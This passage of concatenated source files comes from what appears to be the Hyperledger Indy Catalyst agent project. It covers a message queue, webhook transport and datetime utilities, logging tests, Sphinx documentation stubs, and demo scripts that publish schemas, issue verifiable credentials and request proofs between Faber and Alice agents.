message: The message to send
"""
self.logger.debug(f"Enqueuing message: {message}")
await self.queue.put(message)
async def dequeue(self):
"""
Dequeue a message.
Returns:
The dequeued message
"""
message = await self.queue.get()
self.logger.debug(f"Dequeuing message: {message}")
return message
def __aiter__(self):
"""Async iterator magic method."""
return self
async def __anext__(self):
"""Async iterator magic method."""
message = await self.dequeue()
return message
<file_sep>/agent/indy_catalyst_agent/logging/tests/test_init.py
from unittest import mock
from indy_catalyst_agent import LoggingConfigurator
class TestLoggingConfigurator:
transport_arg_value = "transport"
host_arg_value = "host"
port_arg_value = "port"
@mock.patch("indy_catalyst_agent.logging.path.join", autospec=True)
@mock.patch("indy_catalyst_agent.logging.fileConfig", autospec=True)
def test_configure_default(self, mock_file_config, mock_os_path_join):
LoggingConfigurator.configure()
mock_file_config.assert_called_once_with(
mock_os_path_join.return_value, disable_existing_loggers=False
)
@mock.patch("indy_catalyst_agent.logging.path.join", autospec=True)
@mock.patch("indy_catalyst_agent.logging.fileConfig", autospec=True)
def test_configure_path(self, mock_file_config, mock_os_path_join):
path = "a path"
LoggingConfigurator.configure(path)
mock_file_config.assert_called_once_with(path, disable_existing_loggers=False)
<file_sep>/agent/indy_catalyst_agent/tests/test_init.py
# import indy_catalyst_agent
# from unittest import mock
# from asynctest import TestCase as AsyncTestCase
# from asynctest import mock as async_mock
# class TestAsyncMain(AsyncTestCase):
# parsed_transports = [["a", "b", "c"]]
# transport_arg_value = "transport"
# host_arg_value = "host"
# port_arg_value = "port"
# @mock.patch("indy_catalyst_agent.asyncio", autospec=True)
# @mock.patch("indy_catalyst_agent.LoggingConfigurator", autospec=True)
# @mock.patch("indy_catalyst_agent.parser.parse_args", autospec=True)
# @mock.patch("indy_catalyst_agent.Conductor", autospec=True)
# @mock.patch("indy_catalyst_agent.start", autospec=True)
# def test_main_parse(
# self,
# mock_start,
# mock_conductor,
# mock_parse_args,
# mock_logging_configurator,
# mock_asyncio,
# ):
# type(mock_parse_args.return_value).transports = self.parsed_transports
# indy_catalyst_agent.main()
# mock_parse_args.assert_called_once()
# mock_start.assert_called_once_with(
# [
# {
# "transport": self.parsed_transports[0][0],
# "host": self.parsed_transports[0][1],
# "port": self.parsed_transports[0][2],
# }
# ]
# )
# @async_mock.patch("indy_catalyst_agent.Conductor", autospec=True)
# async def test_main(self, mock_conductor):
# await indy_catalyst_agent.start(self.parsed_transports)
# mock_conductor.assert_called_once_with(self.parsed_transports)
# mock_conductor.return_value.start.assert_called_once_with()
<file_sep>/agent/docs/indy_catalyst_agent.messaging.trustping.handlers.rst
indy\_catalyst\_agent.messaging.trustping.handlers package
==========================================================
Submodules
----------
indy\_catalyst\_agent.messaging.trustping.handlers.ping\_handler module
-----------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.trustping.handlers.ping_handler
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.trustping.handlers.ping\_response\_handler module
---------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.trustping.handlers.ping_response_handler
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.trustping.handlers
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.proofs.messages.tests.rst
indy\_catalyst\_agent.messaging.proofs.messages.tests package
=============================================================
Submodules
----------
indy\_catalyst\_agent.messaging.proofs.messages.tests.test\_proof module
------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.proofs.messages.tests.test_proof
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.proofs.messages.tests.test\_proof\_request module
---------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.proofs.messages.tests.test_proof_request
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.proofs.messages.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/credential-registry/server/Dockerfile
# this is a "filer" Dockerfile, used to ensure file permissions
# are set correctly on the final tob-api (django) image
FROM django:latest
RUN find . -name "*.sh" -exec chmod +x '{}' \;
<file_sep>/agent/indy_catalyst_agent/messaging/util.py
"""Utils for messages."""
import asyncio
from datetime import datetime, timedelta, timezone
import os
import logging
from math import floor
import re
from typing import Union
import aiohttp
from ..config.injection_context import InjectionContext
LOGGER = logging.getLogger(__name__)
class WebhookTransport:
"""Class for managing webhook delivery."""
def __init__(
self, target_url: str, default_retries: int = 5, default_wait: int = 5
):
"""Initialize the WebhookTransport instance."""
self.target_url = target_url
self.client_session: aiohttp.ClientSession = None
self.default_retries = default_retries
self.default_wait = default_wait
self.stop_event = asyncio.Event()
async def start(self):
"""Start the transport."""
await self.stop_event.wait()
def stop(self):
"""Stop the transport."""
self.stop_event.set()
if self.client_session:
self.client_session.close()
self.client_session = None
async def send(self, topic: str, payload, retries: int = None):
"""Send a webhook to the registered endpoint."""
if not self.client_session:
self.client_session = aiohttp.ClientSession()
full_webhook_url = f"{self.target_url}/topic/{topic}/"
LOGGER.info(f"Sending webhook to {full_webhook_url}")
if retries is None:
retries = self.default_retries or 0
try:
async with self.client_session.post(
full_webhook_url, json=payload
) as response:
if response.status < 200 or response.status > 299:
raise Exception()
except Exception:
if retries > 0:
await asyncio.sleep(self.default_wait)
await self.send(topic, payload, retries - 1)
@classmethod
async def perform_send(
cls, context: InjectionContext, topic: str, payload, retries: int = None
):
"""Look up the registered WebhookTransport and send the message."""
server: WebhookTransport = await context.inject(
WebhookTransport, required=False
)
if server:
await server.send(topic, payload, retries)
async def init_webhooks(context: InjectionContext):
"""Register a standard WebhookTransport in the context."""
webhook_url = os.environ.get("WEBHOOK_URL")
if webhook_url:
context.injector.bind_instance(WebhookTransport, WebhookTransport(webhook_url))
else:
LOGGER.warning("WEBHOOK_URL is not set")
def send_webhook(
context: InjectionContext, topic: str, payload, *, retries: int = None
):
"""Send a webhook to the active WebhookTransport if present."""
asyncio.ensure_future(
WebhookTransport.perform_send(context, topic, payload, retries)
)
def datetime_to_str(dt: Union[str, datetime]) -> str:
"""Convert a datetime object to an indy-standard datetime string.
Args:
dt: May be a string or datetime to allow automatic conversion
"""
if isinstance(dt, datetime):
dt = dt.replace(tzinfo=timezone.utc).isoformat(" ").replace("+00:00", "Z")
return dt
def str_to_datetime(dt: Union[str, datetime]) -> datetime:
"""Convert an indy-standard datetime string to a datetime.
Using a fairly lax regex pattern to match slightly different formats.
In Python 3.7 datetime.fromisoformat might be used.
Args:
dt: May be a string or datetime to allow automatic conversion
"""
if isinstance(dt, str):
match = re.match(
r"^(\d{4})-(\d\d)-(\d\d)[T ](\d\d):(\d\d)"
r"(?:\:(\d\d(?:\.\d{1,6})?))?([+-]\d\d:?\d\d|Z)$",
dt,
)
if not match:
raise ValueError("String does not match expected time format")
year, month, day = match[1], match[2], match[3]
hour, minute, second = match[4], match[5], match[6]
tz = match[7]
if not second:
second = 0
microsecond = 0
else:
flt_second = float(second)
second = floor(flt_second)
microsecond = round((flt_second - second) * 1_000_000)
result = datetime(
int(year),
int(month),
int(day),
int(hour),
int(minute),
int(second),
microsecond,
timezone.utc,
)
if tz != "Z":
tz_sgn = int(tz[0] + "1")
tz_hours = int(tz[1:3])
tz_mins = int(tz[-2:])
if tz_hours or tz_mins:
result = result - timedelta(minutes=tz_sgn * (tz_hours * 60 + tz_mins))
return result
return dt
def datetime_now() -> datetime:
"""Timestamp in UTC."""
return datetime.utcnow().replace(tzinfo=timezone.utc)
def time_now() -> str:
"""Timestamp in ISO format."""
return datetime_to_str(datetime_now())
<file_sep>/agent/demo/performance.py
import asyncio
import logging
import os
import random
import sys
from timeit import default_timer
import aiohttp
from agent import DemoAgent, print_color
LOGGER = logging.getLogger(__name__)
AGENT_PORT = int(sys.argv[1])
POSTGRES = bool(os.getenv("POSTGRES"))
# detect runmode and set hostnames accordingly
RUN_MODE = os.getenv("RUNMODE")
TIMING = True
internal_host = "127.0.0.1"
external_host = "localhost"
scripts_dir = "../scripts/"
if RUN_MODE == "docker":
internal_host = "host.docker.internal"
external_host = "host.docker.internal"
scripts_dir = "scripts/"
async def log_async(msg: str):
print_color(msg, "magenta")
def log_msg(msg: str):
# try to synchronize messages with agent logs
loop = asyncio.get_event_loop()
asyncio.run_coroutine_threadsafe(log_async(msg), loop)
class BaseAgent(DemoAgent):
def __init__(
self,
ident: str,
port: int,
genesis: str = None,
timing: bool = TIMING,
postgres: bool = POSTGRES,
):
super().__init__(
ident,
port,
port + 1,
internal_host,
external_host,
genesis=genesis,
timing=timing,
postgres=postgres,
)
self.connection_id = None
self.connection_active = asyncio.Future()
async def detect_connection(self):
await self.connection_active
async def handle_webhook(self, topic, payload):
if topic == "connections" and payload["connection_id"] == self.connection_id:
if payload["state"] == "active" and not self.connection_active.done():
self.log("Connected")
self.connection_active.set_result(True)
class AliceAgent(BaseAgent):
def __init__(self, port: int, genesis: str):
super().__init__("Alice", port, genesis)
self.credential_state = {}
self.credential_event = asyncio.Event()
async def get_invite(self):
result = await self.admin_POST("/connections/create-invitation")
self.connection_id = result["connection_id"]
return result["invitation"]
async def handle_webhook(self, topic, payload):
if topic == "credentials":
cred_id = payload["credential_exchange_id"]
self.credential_state[cred_id] = payload["state"]
self.credential_event.set()
await super().handle_webhook(topic, payload)
def check_received_creds(self) -> (int, int):
self.credential_event.clear()
pending = 0
total = len(self.credential_state)
for result in self.credential_state.values():
if result != "stored":
pending += 1
return pending, total
async def update_creds(self):
await self.credential_event.wait()
class FaberAgent(BaseAgent):
def __init__(self, port: int, genesis):
super().__init__("Faber", port, genesis)
self.schema_id = None
self.credential_definition_id = None
async def receive_invite(self, invite):
result = await self.admin_POST("/connections/receive-invitation", invite)
self.connection_id = result["connection_id"]
async def publish_defs(self):
# create a schema
self.log("Publishing test schema")
version = format(
"%d.%d.%d"
% (random.randint(1, 101), random.randint(1, 101), random.randint(1, 101))
)
schema_body = {
"schema_name": "degree schema",
"schema_version": version,
"attributes": ["name", "date", "degree", "age"],
}
schema_response = await self.admin_POST("/schemas", schema_body)
self.schema_id = schema_response["schema_id"]
self.log(f"Schema ID: {self.schema_id}")
# create a cred def for the schema
self.log("Publishing test credential definition")
credential_definition_body = {"schema_id": self.schema_id}
credential_definition_response = await self.admin_POST(
"/credential-definitions", credential_definition_body
)
self.credential_definition_id = credential_definition_response[
"credential_definition_id"
]
self.log(f"Credential Definition ID: {self.credential_definition_id}")
async def send_credential(self):
cred_attrs = {
"name": "<NAME>",
"date": "2018-05-28",
"degree": "Maths",
"age": "24",
}
await self.admin_POST(
"/credential_exchange/send",
{
"credential_values": cred_attrs,
"connection_id": self.connection_id,
"credential_definition_id": self.credential_definition_id,
},
)
async def test():
genesis = None
try:
if RUN_MODE == "docker":
async with aiohttp.ClientSession() as session:
async with session.get(f"http://{external_host}:9000/genesis") as resp:
genesis = await resp.text()
else:
with open("local-genesis.txt", "r") as genesis_file:
genesis = genesis_file.read()
finally:
if not genesis:
print("Error retrieving ledger genesis transactions")
sys.exit(1)
alice = None
faber = None
init_time = default_timer()
try:
start_port = AGENT_PORT
alice = AliceAgent(start_port, genesis)
await alice.listen_webhooks(start_port + 2)
await alice.register_did()
faber = FaberAgent(start_port + 4, genesis)
await faber.listen_webhooks(start_port + 6)
await faber.register_did()
start_time = default_timer()
await alice.start_process(scripts_dir=scripts_dir)
alice.log("Started up")
await faber.start_process(scripts_dir=scripts_dir)
faber.log("Started up")
init_done_time = default_timer()
log_msg(f"Init duration: {init_done_time - start_time:.2f}s")
await faber.publish_defs()
publish_done_time = default_timer()
log_msg(f"Publish duration: {publish_done_time - init_done_time:.2f}s")
invite = await alice.get_invite()
await faber.receive_invite(invite)
await asyncio.wait_for(faber.detect_connection(), 5)
connect_time = default_timer()
log_msg(f"Connect duration: {connect_time - publish_done_time:.2f}s")
if TIMING:
await alice.reset_timing()
await faber.reset_timing()
issue_count = 300
batch_size = 100
batch_start = connect_time
semaphore = asyncio.Semaphore(10)
async def send():
await semaphore.acquire()
asyncio.ensure_future(faber.send_credential()).add_done_callback(
lambda fut: semaphore.release()
)
for idx in range(issue_count):
await send()
if not (idx + 1) % batch_size and idx < issue_count - 1:
now = default_timer()
faber.log(
f"Started {batch_size} credential exchanges in "
+ f"{now - batch_start:.2f}s"
)
batch_start = now
issued_time = default_timer()
faber.log(
f"Done starting {issue_count} credential exchanges in "
+ f"{issued_time - connect_time:.2f}s"
)
while True:
pending, total = alice.check_received_creds()
if total == issue_count and not pending:
break
await asyncio.wait_for(alice.update_creds(), 30)
received_time = default_timer()
alice.log(
f"Received {total} credentials in {received_time - connect_time:.2f}s"
)
avg = (issued_time - connect_time) / issue_count
alice.log(f"Average time per credential: {avg:.2f}s ({1/avg:.2f}/s)")
done_time = default_timer()
if TIMING:
timing = await alice.fetch_timing()
if timing:
for line in alice.format_timing(timing):
alice.log(line)
timing = await faber.fetch_timing()
if timing:
for line in faber.format_timing(timing):
faber.log(line)
finally:
terminated = True
try:
if alice:
await alice.terminate()
except Exception:
LOGGER.exception("Error terminating agent:")
terminated = False
try:
if faber:
await faber.terminate()
except Exception:
LOGGER.exception("Error terminating agent:")
terminated = False
log_msg(f"Total runtime: {done_time - init_time:.2f}s")
await asyncio.sleep(0.1)
if not terminated:
os._exit(1)
try:
asyncio.get_event_loop().run_until_complete(test())
except KeyboardInterrupt:
os._exit(1)
<file_sep>/agent/demo/faber-pg.py
import os
import subprocess
import time
import requests
import random
import sys
import json
from traceback import print_exc
from demo_utils import background_hook_thread, s_print, start_agent_subprocess, webhooks
"""
Docker version:
PORTS="5001:5000 10001:10000" ../scripts/run_docker -it http 0.0.0.0 10000 -ot http --admin 0.0.0.0 5000 -e "http://host.docker.internal:10001" --accept-requests --accept-invites --invite
"""
# detect runmode and set hostnames accordingly
run_mode = os.getenv("RUNMODE")
internal_host = "127.0.0.1"
external_host = "localhost"
scripts_dir = "../scripts/"
if run_mode == "docker":
internal_host = "host.docker.internal"
external_host = "host.docker.internal"
scripts_dir = "scripts/"
# some globals that are required by the hook code
webhook_port = int(sys.argv[1])
in_port_1 = webhook_port + 1
in_port_2 = webhook_port + 2
in_port_3 = webhook_port + 3
admin_port = webhook_port + 4
admin_url = "http://" + internal_host + ":" + str(admin_port)
# url mapping for rest hook callbacks
urls = ("/webhooks/topic/(.*)/", "faber_webhooks")
# agent webhook callbacks
class faber_webhooks(webhooks):
def handle_credentials(self, state, message):
global admin_url
credential_exchange_id = message["credential_exchange_id"]
s_print(
"Credential: state=",
state,
", credential_exchange_id=",
credential_exchange_id,
)
if state == "request_received":
print("#17 Issue credential to X")
cred_attrs = {
"name": "<NAME>",
"date": "2018-05-28",
"degree": "Maths",
"age": "24",
}
resp = requests.post(
admin_url + "/credential_exchange/" + credential_exchange_id + "/issue",
json={"credential_values": cred_attrs},
)
assert resp.status_code == 200
return ""
return ""
def handle_presentations(self, state, message):
global admin_url
presentation_exchange_id = message["presentation_exchange_id"]
s_print(
"Presentation: state=",
state,
", presentation_exchange_id=",
presentation_exchange_id,
)
if state == "presentation_received":
print("#27 Process the proof provided by X")
print("#28 Check if proof is valid")
resp = requests.post(
admin_url
+ "/presentation_exchange/"
+ presentation_exchange_id
+ "/verify_presentation"
)
assert resp.status_code == 200
proof = json.loads(resp.text)
s_print("Proof =", proof["verified"])
return ""
return ""
def main():
if run_mode == "docker":
genesis = requests.get("http://host.docker.internal:9000/genesis").text
else:
with open("local-genesis.txt", "r") as genesis_file:
genesis = genesis_file.read()
# TODO seed from input parameter; optionally register the DID
rand_name = str(random.randint(100_000, 999_999))
seed = ("my_seed_000000000000000000000000" + rand_name)[-32:]
alias = "My Test Company"
register_did = True
if register_did:
print("Registering", alias, "with seed", seed)
ledger_url = "http://" + external_host + ":9000"
headers = {"accept": "application/json"}
data = {"alias": alias, "seed": seed, "role": "TRUST_ANCHOR"}
resp = requests.post(ledger_url + "/register", json=data)
assert resp.status_code == 200
nym_info = json.loads(resp.text)
my_did = nym_info["did"]
print(nym_info)
# run app and respond to agent webhook callbacks (run in background)
g_vars = globals()
webhook_thread = background_hook_thread(urls, g_vars)
time.sleep(3.0)
# start agent sub-process
print("#1 Provision an agent and wallet, get back configuration details")
endpoint_url = "http://" + internal_host + ":" + str(in_port_1)
wallet_name = "faber" + rand_name
wallet_key = "faber" + rand_name
python_path = ".."
webhook_url = "http://" + external_host + ":" + str(webhook_port) + "/webhooks"
(agent_proc, t1, t2) = start_agent_subprocess(
"faber",
genesis,
seed,
endpoint_url,
in_port_1,
in_port_2,
in_port_3,
admin_port,
"indy",
wallet_name,
wallet_key,
python_path,
webhook_url,
scripts_dir,
run_subprocess=True,
)
time.sleep(5.0)
print("Admin url is at:", admin_url)
print("Endpoint url is at:", endpoint_url)
try:
# check swagger content
resp = requests.get(admin_url + "/api/docs/swagger.json")
assert resp.status_code == 200
p = resp.text
assert "Indy Catalyst Agent" in p
# create a schema
print("#3 Create a new schema on the ledger")
version = format(
"%d.%d.%d"
% (random.randint(1, 101), random.randint(1, 101), random.randint(1, 101))
)
schema_body = {
"schema_name": "degree schema",
"schema_version": version,
"attributes": ["name", "date", "degree", "age"],
}
schema_response = requests.post(admin_url + "/schemas", json=schema_body)
assert resp.status_code == 200
print(schema_response.text)
schema_response_body = schema_response.json()
schema_id = schema_response_body["schema_id"]
print(schema_id)
# create a cred def for the schema
print("#4 Create a new credential definition on the ledger")
credential_definition_body = {"schema_id": schema_id}
credential_definition_response = requests.post(
admin_url + "/credential-definitions", json=credential_definition_body
)
credential_definition_response_body = credential_definition_response.json()
credential_definition_id = credential_definition_response_body[
"credential_definition_id"
]
print(f"cred def id: {credential_definition_id}")
print("#5 Create a connection to alice and print out the invite details")
# generate an invitation
headers = {"accept": "application/json"}
resp = requests.post(
admin_url + "/connections/create-invitation", headers=headers
)
assert resp.status_code == 200
connection = json.loads(resp.text)
print("invitation response:", connection)
print("*****************")
print("Invitation:", json.dumps(connection["invitation"]))
print("*****************")
conn_id = connection["connection_id"]
time.sleep(3.0)
option = input(
"(1) Issue Credential, (2) Send Proof Request, (3) Send Message (X) Exit? [1/2/3/X]"
)
while option != "X" and option != "x":
if option == "1":
print("#13 Issue credential offer to X")
offer = {
"credential_definition_id": credential_definition_id,
"connection_id": conn_id,
}
resp = requests.post(
admin_url + "/credential_exchange/send-offer", json=offer
)
assert resp.status_code == 200
credential_exchange = json.loads(resp.text)
credential_exchange_id = credential_exchange["credential_exchange_id"]
if option == "2":
print("#20 Request proof of degree from alice")
proof_attrs = [
{"name": "name", "restrictions": [{"issuer_did": my_did}]},
{"name": "date", "restrictions": [{"issuer_did": my_did}]},
{"name": "degree", "restrictions": [{"issuer_did": my_did}]},
{"name": "self_attested_thing"},
]
proof_predicates = [{"name": "age", "p_type": ">=", "p_value": 18}]
proof_request = {
"name": "Proof of Education",
"version": "1.0",
"connection_id": conn_id,
"requested_attributes": proof_attrs,
"requested_predicates": proof_predicates,
}
resp = requests.post(
admin_url + "/presentation_exchange/send_request",
json=proof_request,
)
assert resp.status_code == 200
presentation_exchange = json.loads(resp.text)
presentation_exchange_id = presentation_exchange[
"presentation_exchange_id"
]
if option == "3":
msg = input("Enter message:")
resp = requests.post(
admin_url + "/connections/" + conn_id + "/send-message",
json={"content": msg},
)
assert resp.status_code == 200
option = input(
"(1) Issue Credential, (2) Send Proof Request, (3) Send Message (X) Exit? [1/2/3/X]"
)
except Exception:
print_exc()
finally:
if agent_proc:
time.sleep(2.0)
agent_proc.terminate()
try:
agent_proc.wait(timeout=0.5)
print("== subprocess exited with rc =", agent_proc.returncode)
except subprocess.TimeoutExpired:
print("subprocess did not terminate in time")
sys.exit()
if __name__ == "__main__":
main()
<file_sep>/agent/docs/indy_catalyst_agent.messaging.basicmessage.messages.rst
indy\_catalyst\_agent.messaging.basicmessage.messages package
=============================================================
Submodules
----------
indy\_catalyst\_agent.messaging.basicmessage.messages.basicmessage module
-------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.basicmessage.messages.basicmessage
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.basicmessage.messages
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.transport.rst
indy\_catalyst\_agent.transport package
=======================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.transport.inbound
indy_catalyst_agent.transport.outbound
indy_catalyst_agent.transport.tests
Module contents
---------------
.. automodule:: indy_catalyst_agent.transport
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent-driver/README.md
# Hyperledger Indy Catalyst Agent Driver <!-- omit in toc -->

# Table of Contents <!-- omit in toc -->
- [Introduction](#introduction)
# Introduction
Placeholder README for forthcoming Indy Catalyst Agent Driver software.
<file_sep>/agent/scripts/icatagent
#!/usr/bin/env python
import os
import sys
ENABLE_PTVSD = os.getenv("ENABLE_PTVSD", "").lower()
ENABLE_PTVSD = ENABLE_PTVSD and ENABLE_PTVSD not in ("false", "0")
# --debug-vs to use microsoft's visual studio remote debugger
if ENABLE_PTVSD or "--debug" in sys.argv:
try:
import ptvsd
ptvsd.enable_attach()
print("ptvsd is running")
print("=== Waiting for debugger to attach ===")
# To pause execution until the debugger is attached:
ptvsd.wait_for_attach()
except ImportError as e:
print("ptvsd library was not found")
from indy_catalyst_agent import main
main()
<file_sep>/agent/indy_catalyst_agent/admin/service.py
"""Admin API service classes."""
from .base_server import BaseAdminServer
class AdminService:
"""Admin service handler for letting back-end code send event notifications."""
def __init__(self, server: BaseAdminServer):
"""Init admin service."""
self._server = server
async def add_event(self, event_type: str, event_context: dict = None):
"""
Add a new admin event.
Args:
event_type: The unique type identifier for the event
event_context: An optional dictionary of additional parameters
"""
if self._server:
msg = {"type": event_type, "context": event_context or None}
await self._server.add_event(msg)
<file_sep>/agent/indy_catalyst_agent/transport/inbound/manager.py
"""Inbound transport manager."""
import logging
from .base import BaseInboundTransport, InboundTransportRegistrationError
from ...classloader import ClassLoader, ModuleLoadError, ClassNotFoundError
MODULE_BASE_PATH = "indy_catalyst_agent.transport.inbound"
class InboundTransportManager:
"""Inbound transport manager class."""
def __init__(self):
"""Initialize an `InboundTransportManager` instance."""
self.logger = logging.getLogger(__name__)
self.class_loader = ClassLoader(MODULE_BASE_PATH, BaseInboundTransport)
self.transports = []
def register(self, module_path, host, port, message_handler, register_socket):
"""
Register transport module.
Args:
module_path: Path to module
host: The host to register on
port: The port to register on
message_handler: The message handler for incoming messages
register_socket: A coroutine for registering a new socket
"""
try:
imported_class = self.class_loader.load(module_path, True)
except (ModuleLoadError, ClassNotFoundError):
raise InboundTransportRegistrationError(
f"Failed to load module {module_path}"
)
self.transports.append(
imported_class(host, port, message_handler, register_socket)
)
async def start_all(self):
"""Start all registered transports."""
for transport in self.transports:
await transport.start()
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_cbs/apps.py
from django.apps import AppConfig
class IcatCbsConfig(AppConfig):
name = 'icat_cbs'
<file_sep>/agent/docs/indy_catalyst_agent.tests.rst
indy\_catalyst\_agent.tests package
===================================
Submodules
----------
indy\_catalyst\_agent.tests.test\_conductor module
--------------------------------------------------
.. automodule:: indy_catalyst_agent.tests.test_conductor
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.tests.test\_init module
---------------------------------------------
.. automodule:: indy_catalyst_agent.tests.test_init
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.tests
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/demo/demo_utils.py
import subprocess
import time
import threading
import os
import json
import web
import logging
####################################################
# run background services to receive web hooks
####################################################
# agent webhook callbacks
class webhooks:
def GET(self, topic):
# just for testing; all indy-cat agent hooks are POST requests
s_print("GET: topic=", topic)
return ""
def POST(self, topic):
message = json.loads(web.data())
# dispatch based on the topic type
if topic == "connections":
return self.handle_connections(message["state"], message)
elif topic == "credentials":
return self.handle_credentials(message["state"], message)
elif topic == "presentations":
return self.handle_presentations(message["state"], message)
elif topic == "get-active-menu":
return self.handle_get_active_menu(message)
elif topic == "perform-menu-action":
return self.handle_perform_menu_action(message)
else:
s_print("Callback: topic=", topic, ", message=", message)
return ""
return self.handle_connections(message["state"], message)
def handle_connections(self, state, message):
conn_id = message["connection_id"]
s_print("Connection: state=", state, ", connection_id=", conn_id)
return ""
def handle_credentials(self, state, message):
credential_exchange_id = message["credential_exchange_id"]
s_print(
"Credential: state=",
state,
", credential_exchange_id=",
credential_exchange_id,
)
return ""
def handle_presentations(self, state, message):
presentation_exchange_id = message["presentation_exchange_id"]
s_print(
"Presentation: state=",
state,
", presentation_exchange_id=",
presentation_exchange_id,
)
return ""
def handle_get_active_menu(self, message):
s_print("Get active menu: message=", message)
return ""
def handle_perform_menu_action(self, message):
s_print("Handle menu action: message=", message)
return ""
def background_hook_service(urls, g_vars):
# run app and respond to agent webhook callbacks (run in background)
# port number has to be the first command line arguement
# pass in urls
app = web.application(urls, g_vars)
app.run()
def background_hook_thread(urls, g_vars):
# run app and respond to agent webhook callbacks (run in background)
webhook_thread = threading.Thread(
target=background_hook_service, args=(urls, g_vars)
)
webhook_thread.daemon = True
webhook_thread.start()
print("Web hooks is running!")
return webhook_thread
####################################################
# postgres wallet stuff
####################################################
####################################################
# run indy-cat agent as a sub-process
####################################################
s_print_lock = threading.Lock()
def s_print(*a, **b):
"""Thread safe print function"""
with s_print_lock:
print(*a, **b)
def output_reader(proc):
for line in iter(proc.stdout.readline, b""):
s_print("got line: {0}".format(line.decode("utf-8")), end="")
pass
def stderr_reader(proc):
for line in iter(proc.stderr.readline, b""):
s_print("got line: {0}".format(line.decode("utf-8")), end="")
pass
def write_agent_startup_script(agent_name, agent_args):
cmd = ""
for arg in agent_args:
if '{' in arg:
cmd = cmd + "'" + arg + "' "
else:
cmd = cmd + arg + " "
file2 = open(agent_name,"w+")
file2.write(cmd)
file2.close()
def start_agent_subprocess(agent_name, genesis, seed, endpoint_url, in_port_1, in_port_2, in_port_3, admin_port,
wallet_type, wallet_name, wallet_key, python_path, webhook_url,
scripts_dir, run_subprocess=True):
my_env = os.environ.copy()
my_env["PYTHONPATH"] = python_path
# start and expose a REST callback service
my_env["WEBHOOK_URL"] = webhook_url
print("Webhook url is at", my_env["WEBHOOK_URL"])
# start agent sub-process
agent_args = ['python3', scripts_dir + 'icatagent',
'--inbound-transport', 'http', '0.0.0.0', str(in_port_1),
'--inbound-transport', 'http', '0.0.0.0', str(in_port_2),
'--inbound-transport', 'ws', '0.0.0.0', str(in_port_3),
'--endpoint', endpoint_url,
'--outbound-transport', 'ws',
'--outbound-transport', 'http',
'--genesis-transactions', genesis,
'--auto-respond-messages',
'--accept-invites',
'--accept-requests',
'--auto-ping-connection',
'--wallet-type', wallet_type,
'--wallet-name', wallet_name,
'--wallet-key', wallet_key,
'--seed', seed,
'--admin', '0.0.0.0', str(admin_port),
'--label', agent_name]
use_postgres = False
if use_postgres:
agent_args.extend(['--wallet-storage-type', 'postgres_storage',
'--wallet-storage-config', '{"url":"localhost:5432","max_connections":5}',
'--wallet-storage-creds', '{"account":"postgres","password":"<PASSWORD>","admin_account":"postgres","admin_password":"<PASSWORD>"}',
])
# what are we doing? write out to a command file
write_agent_startup_script(agent_name + ".sh", agent_args)
if run_subprocess:
# now startup our sub-process
agent_proc = subprocess.Popen(agent_args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=my_env)
time.sleep(0.5)
t1 = threading.Thread(target=output_reader, args=(agent_proc,))
t1.start()
t2 = threading.Thread(target=stderr_reader, args=(agent_proc,))
t2.start()
return (agent_proc, t1, t2)
else:
# pause and tell user to manually run script
print("Please run PYTHONPATH=.. ./" + agent_name + ".sh and then hit <enter> to continue")
option = input("Do it!")
return (None, None, None)
<file_sep>/agent/indy_catalyst_agent/admin/server.py
"""Admin server classes."""
import asyncio
from concurrent.futures import CancelledError
import logging
from typing import Coroutine
import uuid
from aiohttp import web
from aiohttp_apispec import docs, response_schema, setup_aiohttp_apispec
import aiohttp_cors
from marshmallow import fields, Schema
from ..config.injection_context import InjectionContext
from ..messaging.outbound_message import OutboundMessage
from ..messaging.responder import BaseResponder
from ..stats import Collector
from .base_server import BaseAdminServer
from .error import AdminSetupError
from .routes import register_module_routes
class AdminModulesSchema(Schema):
"""Schema for the modules endpoint."""
result = fields.List(fields.Str())
class AdminStatusSchema(Schema):
"""Schema for the status endpoint."""
class AdminResponder(BaseResponder):
"""Handle outgoing messages from message handlers."""
def __init__(self, send: Coroutine, **kwargs):
"""
Initialize an instance of `AdminResponder`.
Args:
send: Function to send outbound message
"""
super().__init__(**kwargs)
self._send = send
async def send_outbound(self, message: OutboundMessage):
"""
Send outbound message.
Args:
message: The `OutboundMessage` to be sent
"""
await self._send(message)
class AdminServer(BaseAdminServer):
"""Admin HTTP server class."""
def __init__(
self,
host: str,
port: int,
context: InjectionContext,
outbound_message_router: Coroutine,
):
"""
Initialize an AdminServer instance.
Args:
host: Host to listen on
port: Port to listen on
"""
self.app = None
self.context = context
self.host = host
self.port = port
self.logger = logging.getLogger(__name__)
self.loaded_modules = []
self.notify_queues = {}
self.responder = AdminResponder(outbound_message_router)
self.site = None
async def start(self) -> None:
"""
Start the webserver.
Raises:
AdminSetupError: If there was an error starting the webserver
"""
middlewares = []
stats: Collector = await self.context.inject(Collector, required=False)
if stats:
@web.middleware
async def collect_stats(request, handler):
handler = stats.wrap_coro(
handler, [handler.__qualname__, "any-admin-request"]
)
return await handler(request)
middlewares.append(collect_stats)
self.app = web.Application(debug=True, middlewares=middlewares)
self.app["request_context"] = self.context
self.app["outbound_message_router"] = self.responder.send
self.app.add_routes(
[
web.get("/", self.redirect_handler),
web.get("/modules", self.modules_handler),
